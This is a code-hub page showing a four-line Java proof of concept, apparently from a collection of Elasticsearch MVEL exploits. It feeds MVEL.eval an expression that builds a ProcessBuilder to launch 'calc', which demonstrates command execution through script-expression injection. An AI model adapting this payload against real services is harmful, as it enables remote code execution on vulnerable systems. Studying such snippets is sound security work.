Code
Hub
Workspaces
Following
Trending
Connect
MCP
copy
Create free account
hub
/
github.com/Firebasky/Java
/ demo.java
File
demo.java
shell/Elasticsearch_MVEL/demo.java:None–None ·
view source on GitHub ↗
Source
from the content-addressed store, hash-verified
1
String exp =
"a=123;new java.lang.ProcessBuilder("
calc
").start();"
;
2
Map vars =
new
HashMap();
3
vars.put(
"foobar"
,
new
Integer(100));
4
String result = MVEL.eval(exp, vars).toString();
Callers
nothing calls this directly
Calls
1
eval
Method · 0.80
Tested by
no test coverage detected